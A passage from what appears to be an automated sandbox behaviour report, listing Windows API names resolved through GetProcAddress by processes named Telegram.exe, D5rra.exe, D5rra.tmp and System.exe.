WebAuthNAuthenticatorGetAssertion (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WebAuthNFreeAssertion (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetAsyncKeyState (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetMenu (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetCharABCWidthsW (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter ImmAssociateContextEx (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetCaretBlinkTime (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter NtUpdateWnfStateData (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter GetWindowLongPtrW (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter KillTimer (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter SetForegroundWindow (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter SetFocus (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter DestroyWindow (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter UnregisterPowerSettingNotification (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00001040) "Telegram.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter GetWindowLongPtrW (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter KillTimer (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter SetForegroundWindow (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter SetFocus (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter DestroyWindow (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter UnregisterPowerSettingNotification (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007280) "Telegram.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00007280) "D5rra.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006424) "D5rra.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006424) "D5rra.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DrawThemeTextEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SHPathPrepareForWriteW (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter TaskDialogIndirect (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryA (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RegDeleteKeyExA (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetMachineTypeAttributes (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter IsWow64GuestMachineSupported (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SHCreateItemFromParsingName (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DisableProcessWindowsGhosting (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonDestroy (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonCreate (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryW (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RmStartSession (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RmRegisterResources (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RmGetList (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RmShutdown (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RmRestart (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter RmEndSession (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter ChangeWindowMessageFilterEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetWindowDpiAwarenessContext (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter AreDpiAwarenessContextsEqual (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SHAutoComplete (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter ImmAssociateContextEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter DwmExtendFrameIntoClientArea (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter SfcIsFileProtected (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter ExecuteSecureInstall (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00002688) "D5rra.tmp" called "GetProcAddress" with a parameter BufferedPaintUnInit (UID: 00000000-00002688) "System.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetFileInformationByHandle (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetComputerNameExW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter StartServiceCtrlDispatcherW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter RegisterServiceCtrlHandlerExW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter SetServiceStatus (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter listen (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter getsockname (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter AcceptEx (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetAcceptExSockaddrs (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter socket (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter getpeername (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertCreateCertificateContext (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertAddCertificateContextToStore (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00003244) "System.exe" called "GetProcAddress" with a parameter 